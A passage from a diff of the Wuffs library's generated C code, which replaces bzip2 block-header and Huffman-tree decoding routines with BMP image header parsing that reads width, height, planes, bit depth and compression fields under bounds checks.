+- self->private_impl.f_n_bits = 8u; +- } +- if ((self->private_impl.f_bits >> 31u) != 0u) { +- self->private_data.f_presence[v_i] = 1u; + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 16u; ++ self->private_impl.f_bitmap_info_len = t_2; + } +- self->private_data.f_scratch = 0u; +- v_i = 0u; +- while (v_i < 256u) { +- if (self->private_data.f_presence[v_i] == 0u) { +- v_i += 16u; +- continue; +- } +- while (true) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); ++ if (self->private_impl.f_padding < self->private_impl.f_bitmap_info_len) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_padding -= self->private_impl.f_bitmap_info_len; ++ if (self->private_impl.f_bitmap_info_len == 12u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; ++ if (num_bits_3 == 8) { ++ t_3 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- self->private_data.f_scratch += (self->private_impl.f_bits >> 31u); +- self->private_data.f_presence[(v_i & 255u)] = ((uint8_t)((self->private_impl.f_bits >> 31u))); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- if ((v_i & 15u) == 0u) { +- break; + } ++ self->private_impl.f_width = t_3; + } +- } +- if ((self->private_data.f_scratch < 1u) || (256u < self->private_data.f_scratch)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- self->private_impl.f_num_symbols = (self->private_data.f_scratch + 2u); +- self->private_data.f_scratch = 0u; +- v_i = 0u; +- while (v_i < 3u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ uint32_t t_4; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_4 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; ++ if (num_bits_4 == 8) { ++ t_4 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_4 += 8u; ++ *scratch |= ((uint64_t)(num_bits_4)) << 56; + } +- uint8_t t_5 = *iop_a_src++; +- v_c = t_5; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ self->private_impl.f_height = t_4; + } +- self->private_data.f_scratch <<= 1u; +- self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if ((self->private_data.f_scratch < 2u) || (6u < self->private_data.f_scratch)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- self->private_impl.f_num_huffman_codes = self->private_data.f_scratch; +- self->private_data.f_scratch = 0u; +- v_i = 0u; +- while (v_i < 15u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_5 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; ++ if (num_bits_5 == 8) { ++ t_5 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)) << 56; + } +- uint8_t t_6 = *iop_a_src++; +- v_c = t_6; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ v_planes = t_5; + } +- self->private_data.f_scratch <<= 1u; +- self->private_data.f_scratch |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- if ((self->private_data.f_scratch < 1u) || (18001u < self->private_data.f_scratch)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- self->private_impl.f_num_sections = self->private_data.f_scratch; +- v_i = 0u; +- while (v_i < self->private_impl.f_num_huffman_codes) { +- self->private_data.f_mtft[v_i] = ((uint8_t)(v_i)); +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_num_sections) { +- v_selector = 0u; +- while (true) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); ++ if (v_planes != 1u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); ++ uint32_t t_6; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_6 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_7 = *iop_a_src++; +- v_c = t_7; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_6 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_6; ++ if (num_bits_6 == 8) { ++ t_6 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_6 += 8u; ++ *scratch |= ((uint64_t)(num_bits_6)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; +- } +- if ((self->private_impl.f_bits >> 31u) == 0u) { +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- break; + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_selector += 1u; +- if (v_selector >= self->private_impl.f_num_huffman_codes) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; ++ self->private_impl.f_bits_per_pixel = t_6; ++ } ++ } else if (self->private_impl.f_bitmap_info_len == 16u) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); ++ uint32_t t_7; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_7 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(17); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_7 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_7; ++ if (num_bits_7 == 24) { ++ t_7 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_7 += 8u; ++ *scratch |= ((uint64_t)(num_bits_7)) << 56; ++ } + } ++ v_width = t_7; + } +- if (v_selector == 0u) { +- self->private_data.f_huffman_selectors[v_i] = self->private_data.f_mtft[0u]; +- } else { +- v_sel_ff = (v_selector & 255u); +- v_movee = self->private_data.f_mtft[v_sel_ff]; +- wuffs_base__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_mtft, 1, (1u + v_sel_ff)), wuffs_base__make_slice_u8(self->private_data.f_mtft, v_sel_ff)); +- self->private_data.f_mtft[0u] = v_movee; +- self->private_data.f_huffman_selectors[v_i] = v_movee; ++ if (v_width > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_width > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; + } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_num_huffman_codes) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.f_width = v_width; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(18); ++ uint32_t t_8; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_8 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_8 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_8; ++ if (num_bits_8 == 24) { ++ t_8 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_8 += 8u; ++ *scratch |= ((uint64_t)(num_bits_8)) << 56; ++ } ++ } ++ v_height = t_8; + } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- status = wuffs_bzip2__decoder__read_code_lengths(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ if (v_height > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_height > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; + } +- if (status.repr) { +- goto suspend; ++ self->private_impl.f_height = v_height; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); ++ uint32_t t_9; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_9 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_9 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_9; ++ if (num_bits_9 == 8) { ++ t_9 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_9 += 8u; ++ *scratch |= ((uint64_t)(num_bits_9)) << 56; ++ } ++ } ++ v_planes = t_9; + } +- v_status = wuffs_bzip2__decoder__build_huffman_tree(self, v_i); +- if (wuffs_base__status__is_error(&v_status)) { +- status = v_status; ++ if (v_planes != 1u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); + goto exit; + } +- wuffs_bzip2__decoder__build_huffman_table(self, v_i); +- v_i += 1u; +- } +- v_i = 0u; +- v_j = 0u; +- while (v_i < 256u) { +- if (self->private_data.f_presence[v_i] != 0u) { +- self->private_data.f_mtft[(v_j & 255u)] = ((uint8_t)(v_i)); +- v_j += 1u; +- } +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < 256u) { +- self->private_data.f_letter_counts[v_i] = 0u; +- v_i += 1u; +- } +- +- goto ok; +- ok: +- self->private_impl.p_prepare_block[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_prepare_block[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_prepare_block[0].v_i = v_i; +- self->private_data.s_prepare_block[0].v_selector = v_selector; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func bzip2.decoder.read_code_lengths +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__read_code_lengths( +- wuffs_bzip2__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint8_t v_c = 0; +- uint32_t v_i = 0; +- uint32_t v_code_length = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } +- +- uint32_t coro_susp_point = self->private_impl.p_read_code_lengths[0]; +- if (coro_susp_point) { +- v_i = self->private_data.s_read_code_lengths[0].v_i; +- v_code_length = self->private_data.s_read_code_lengths[0].v_code_length; +- } +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- self->private_impl.f_code_lengths_bitmask = 0u; +- v_i = 0u; +- while (v_i < 5u) { +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); ++ uint32_t t_10; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_10 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(23); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_10 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_10; ++ if (num_bits_10 == 8) { ++ t_10 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_10 += 8u; ++ *scratch |= ((uint64_t)(num_bits_10)) << 56; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; ++ self->private_impl.f_bits_per_pixel = t_10; + } +- v_code_length <<= 1u; +- v_code_length |= (self->private_impl.f_bits >> 31u); +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- v_i += 1u; +- } +- v_i = 0u; +- while (v_i < self->private_impl.f_num_symbols) { +- while (true) { +- if ((v_code_length < 1u) || (20u < v_code_length)) { +- status = wuffs_base__make_status(wuffs_bzip2__error__bad_block_header); +- goto exit; +- } +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ } else { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(24); ++ uint32_t t_11; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(25); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; ++ if (num_bits_11 == 24) { ++ t_11 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_11 += 8u; ++ *scratch |= ((uint64_t)(num_bits_11)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; + } +- if ((self->private_impl.f_bits >> 31u) == 0u) { +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- break; +- } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; +- if (self->private_impl.f_n_bits <= 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ v_width = t_11; ++ } ++ if (v_width > 2147483647u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_width > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_width = v_width; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(26); ++ uint32_t t_12; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_12 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(27); ++ while (true) { + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; ++ if (num_bits_12 == 24) { ++ t_12 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_12 += 8u; ++ *scratch |= ((uint64_t)(num_bits_12)) << 56; + } +- self->private_impl.f_bits = (((uint32_t)(v_c)) << 24u); +- self->private_impl.f_n_bits = 8u; + } +- if ((self->private_impl.f_bits >> 31u) == 0u) { +- v_code_length += 1u; ++ v_height = t_12; ++ } ++ if (v_height == 2147483648u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__bad_header); ++ goto exit; ++ } else if (v_height > 2147483648u) { ++ v_height = ((uint32_t)(0u - v_height)); ++ if (v_height > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_height; ++ self->private_impl.f_top_down = true; ++ } else if (v_height > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } else { ++ self->private_impl.f_height = v_height; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(28); ++ uint32_t t_13; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_13 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; + } else { +- v_code_length -= 1u; ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(29); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_13 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_13; ++ if (num_bits_13 == 8) { ++ t_13 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_13 += 8u; ++ *scratch |= ((uint64_t)(num_bits_13)) << 56; ++ } + } +- self->private_impl.f_bits <<= 1u; +- self->private_impl.f_n_bits -= 1u; ++ v_planes = t_13; + } +- self->private_impl.f_code_lengths_bitmask |= (((uint32_t)(1u)) << (v_code_length & 31u)); +- self->private_data.f_bwt[v_i] = v_code_length; +- v_i += 1u; +- } +- +- goto ok; +- ok: +- self->private_impl.p_read_code_lengths[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_read_code_lengths[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_data.s_read_code_lengths[0].v_i = v_i; +- self->private_data.s_read_code_lengths[0].v_code_length = v_code_length; +- +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- +- return status; +-} +- +-// -------- func bzip2.decoder.build_huffman_tree +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_bzip2__decoder__build_huffman_tree( +- wuffs_bzip2__decoder* self, +- uint32_t a_which) { +- uint32_t v_code_length = 0; +- uint32_t v_symbol_index = 0; +- uint32_t v_num_branch_nodes = 0; +- uint32_t v_stack_height = 0; +- uint32_t v_stack_values[21] = {0}; +- uint32_t v_node_index = 0; +- uint16_t v_leaf_value = 0; +- +- self->private_data.f_huffman_trees[a_which][0u][0u] = 0u; +- self->private_data.f_huffman_trees[a_which][0u][1u] = 0u; +- v_num_branch_nodes = 1u; +- v_stack_height = 1u; +- v_stack_values[0u] = 0u; +- v_code_length = 1u; +- while (v_code_length <= 20u) { +- if ((self->private_impl.f_code_lengths_bitmask & (((uint32_t)(1u)) << v_code_length)) == 0u) { +- v_code_length += 1u; +- continue; +- } +- v_symbol_index = 0u; +- while (v_symbol_index < self->private_impl.f_num_symbols) { +- if (self->private_data.f_bwt[v_symbol_index] != v_code_length) { +- v_symbol_index += 1u; +- continue; ++ if (v_planes != 1u) { ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; + } +- while (true) { +- if (v_stack_height <= 0u) { +- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_over_subscribed); +- } else if (v_stack_height >= v_code_length) { +- break; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(30); ++ uint32_t t_14; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { ++ t_14 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); ++ iop_a_src += 2; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(31); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_14 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_14; ++ if (num_bits_14 == 8) { ++ t_14 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_14 += 8u; ++ *scratch |= ((uint64_t)(num_bits_14)) << 56; ++ } + } +- v_node_index = v_stack_values[(v_stack_height - 1u)]; +- if (self->private_data.f_huffman_trees[a_which][v_node_index][0u] == 0u) { +- self->private_data.f_huffman_trees[a_which][v_node_index][0u] = ((uint16_t)(v_num_branch_nodes)); ++ self->private_impl.f_bits_per_pixel = t_14; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(32); ++ uint32_t t_15; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_15 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); ++ iop_a_src += 4; + } else { +- self->private_data.f_huffman_trees[a_which][v_node_index][1u] = ((uint16_t)(v_num_branch_nodes)); ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(33); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_15 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_15; ++ if (num_bits_15 == 24) { ++ t_15 = ((uint32_t)(*scratch)); ++ break; ++ } ++ num_bits_15 += 8u; ++ *scratch |= ((uint64_t)(num_bits_15)) << 56; ++ } + } +- if (v_num_branch_nodes >= 257u) { +- return wuffs_base__make_status(wuffs_bzip2__error__bad_huffman_code_under_subscribed); ++ self->private_impl.f_compression = t_15; ++ } ++ if (self->private_impl.f_bits_per_pixel == 0u) { ++ if (self->private_impl.f_compression == 4u) { ++ self->private_impl.f_io_redirect_fourcc = 1246774599u; ++ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); ++ goto ok; ++ } else if (self->private_impl.f_compression == 5u) { ++ self->private_impl.f_io_redirect_fourcc = 1347307296u; ++ status = wuffs_base__make_status(wuffs_base__note__i_o_redirect); ++ goto ok; + } +- v_stack_values[v_stack_height] = v_num_branch_nodes; +- self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][0u] = 0u; +- self->private_data.f_huffman_trees[a_which][v_num_branch_nodes][1u] = 0u; +- v_num_branch_nodes += 1u; +- v_stack_height += 1u; ++ status = wuffs_base__make_status(wuffs_bmp__error__unsupported_bmp_file); ++ goto exit; + } +- v_node_index = v_stack_values[(v_stack_height - 1u)]; +- if (v_symbol_index < 2u) { +- v_leaf_value = ((uint16_t)((769u + v_symbol_index))); +- } else if ((v_symbol_index + 1u) < self->private_impl.f_num_symbols) { +- v_leaf_value = ((uint16_t)((511u + v_symbol_index))); +- } else { +- v_leaf_value = 768u; ++ self->private_data.s_do_decode_image_config.scratch = 20u; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(34); ++ if (self->private_data.s_do_decode_image_config.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { ++ self->private_data.s_do_decode_image_config.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); ++ iop_a_src = io2_a_src; ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; 